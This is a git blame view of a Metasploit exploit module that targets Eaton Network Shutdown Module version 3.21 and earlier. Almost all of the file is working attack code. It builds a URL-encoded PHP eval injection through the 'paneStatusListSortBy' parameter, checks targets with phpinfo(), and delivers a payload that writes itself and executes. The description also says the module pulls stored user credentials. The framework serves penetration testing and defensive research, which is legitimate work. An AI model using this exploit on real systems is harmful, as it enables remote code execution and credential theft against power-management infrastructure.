Files
metasploit-gs/modules/exploits/multi/http/eaton_nsm_code_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

112 lines
3.1 KiB
Ruby
Raw Normal View History

2012-11-27 12:29:10 -05:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-11-27 12:29:10 -05:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2012-11-27 12:29:10 -05:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
2012-11-27 12:29:10 -05:00
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
2013-08-30 16:28:54 -05:00
2012-11-27 12:29:10 -05:00
def initialize(info = {})
super(update_info(info,
2013-06-19 16:27:54 -05:00
'Name' => 'Network Shutdown Module (sort_values) Remote PHP Code Injection',
2012-11-27 12:29:10 -05:00
'Description' => %q{
2013-06-19 16:27:54 -05:00
This module exploits a vulnerability in Eaton Network Shutdown Module
version <= 3.21, in lib/dbtools.inc which uses unsanitized user input
inside a eval() call. Additionally the base64 encoded user credentials
are extracted from the database of the application. Please note that
in order to be able to steal credentials, the vulnerable service must
have at least one USV module (an entry in the "nodes" table in
mgedb.db)
2012-11-27 12:29:10 -05:00
},
'Author' =>
[
'h0ng10', # original discovery, msf module
'sinn3r' # PhpEXE shizzle
],
2012-11-27 12:29:10 -05:00
'License' => MSF_LICENSE,
'References' =>
[
['OSVDB', '83199'],
2023-03-23 10:19:30 +00:00
['URL', 'http://web.archive.org/web/20121014000855/http://secunia.com/advisories/49103/']
2012-11-27 12:29:10 -05:00
],
'Payload' =>
{
'DisableNops' => true,
'Space' => 4000
2012-11-27 12:29:10 -05:00
},
'Platform' => %w{ linux php },
'Arch' => ARCH_PHP,
2013-08-30 16:28:54 -05:00
'Targets' =>
[
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
],
2012-11-27 12:29:10 -05:00
'DefaultTarget' => 0,
'Privileged' => true,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2012-06-26'
))
2013-08-30 16:28:54 -05:00
2012-11-27 12:29:10 -05:00
register_options(
[
Opt::RPORT(4679)
])
2012-11-27 12:29:10 -05:00
end
2013-08-30 16:28:54 -05:00
2012-11-27 12:29:10 -05:00
def check
# we use a call to phpinfo() for verification
res = execute_php_code("phpinfo();die();")
2013-08-30 16:28:54 -05:00
2012-11-28 01:20:41 -05:00
if not res or res.code != 200
2014-01-21 14:10:35 -06:00
vprint_error("Failed: Error requesting page")
2012-11-27 12:29:10 -05:00
return CheckCode::Unknown
end
2013-08-30 16:28:54 -05:00
2012-11-27 12:29:10 -05:00
return CheckCode::Vulnerable if (res.body =~ /This program makes use of the Zend/)
return CheckCode::Safe
end
2013-08-30 16:28:54 -05:00
2012-11-27 12:29:10 -05:00
def execute_php_code(code, opts = {})
param_name = rand_text_alpha(6)
padding = rand_text_alpha(6)
url_param = "#{padding}%22%5d,%20eval(base64_decode(%24_POST%5b%27#{param_name}%27%5d))%29;%2f%2f"
2013-08-30 16:28:54 -05:00
2012-11-27 12:29:10 -05:00
res = send_request_cgi(
{
'uri' => '/view_list.php',
'method' => 'POST',
'vars_get' =>
{
'paneStatusListSortBy' => url_param,
},
'vars_post' =>
{
param_name => Rex::Text.encode_base64(code),
2012-11-27 12:29:10 -05:00
},
'headers' =>
{
'Connection' => 'Close',
}
})
end
2013-08-30 16:28:54 -05:00
def no_php_tags(p)
p = p.gsub(/^<\?php /, '')
p.gsub(/ \?\>$/, '')
2012-11-27 12:29:10 -05:00
end
2013-08-30 16:28:54 -05:00
2012-11-27 12:29:10 -05:00
def exploit
print_status("#{rhost}:#{rport} - Sending payload")
2013-08-30 16:28:54 -05:00
unlink = (target['Platform'] == 'linux') ? true : false
p = no_php_tags(get_write_exec_payload(:unlink_self => unlink))
2013-08-30 16:28:54 -05:00
execute_php_code(p)
2012-11-27 12:29:10 -05:00
handler
end
end